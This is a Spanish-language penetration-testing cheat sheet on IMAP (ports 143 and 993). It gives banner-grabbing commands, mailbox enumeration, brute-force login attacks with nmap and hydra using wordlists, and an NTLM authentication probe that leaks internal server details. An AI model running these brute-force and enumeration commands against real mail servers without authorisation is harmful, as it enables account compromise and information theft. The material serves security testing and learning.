# Pentest IMAP - puerto 143, 993

> **IMAP son las siglas de Protocolo de Acceso a Mensajes de Internet (Internet Message Access Protocol), un protocolo que permite a los clientes de correo electrónico como Outlook o Apple Mail acceder y administrar tus mensajes de correo electrónico almacenados en un servidor remoto.** La principal característica de IMAP es que mantiene una copia maestra de tu buzón en el servidor, sincronizando cualquier cambio (como leer, eliminar o archivar un correo) entre todos tus dispositivos y tu cliente de correo electrónico.&#x20;

* **los servidores IMAP suelen correr por el puerto 143 y 993 de una máquina**&#x20;

## Reconocimiento de servidores IMAP

### Banner Grabbing

```bash
telnet <IP_AQUI> <PUERTO_AQUI>
nc -nv <IP_AQUI> 143
openssl s_client -connect <IP_AQUI>:<PUERTO_AQUI> -quiet
```

### Enumeración&#x20;

Estando conectado a un servidor IMAP, podemos enumerar los mailbox disponibles con el comando `LIST`:

```bash
LIST "" *
```

***

### Ataques de fuerza bruta a IMAP por Nmap

* [aprende nmap haciendo click aquí ](https://zerophoenix.gitbook.io/zerophoenix/herramientas/nmap)

<pre class="language-bash"><code class="lang-bash">nmap --script imap-brute -p 143,993 &#x3C;IP_AQUI>
<strong># debemos indicar un diccionario en texto plano de usuarios y passwords
</strong></code></pre>

### Ataques de fuerza bruta a IMAP por hydra

* [aprende hydra haciendo click aquí](https://zerophoenix.gitbook.io/zerophoenix/herramientas/hydra)

```bash
hydra -L usuarios.txt -P passwords.txt imap://<IP_AQUI>
# debemos indicar un diccionario en texto plano de usuarios y passwords
```

### IMAP Information Disclosure por NTLM

* <mark style="background-color:blue;">**El information disclosure (divulgación de información) es una vulnerabilidad de seguridad donde un sistema, aplicación o sitio web expone involuntariamente datos sensibles a usuarios que no deberían tener acceso a ellos.**</mark>

```bash
telnet example.com <PUERTO_AQUI>
* OK The Microsoft Exchange IMAP4 service is ready. # Respuesta del servidor cuando esta listo
a1 AUTHENTICATE NTLM
TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
# Revelara informacion interna
```

se puede automatizar con el script de nmap `imap-ntlm-info.nse` , podemos agregarlo mediante el siguiente parametro:

```bash
--script imap-ntlm-info.nse
```

* [aprende nmap haciendo click aquí ](https://zerophoenix.gitbook.io/zerophoenix/herramientas/nmap)
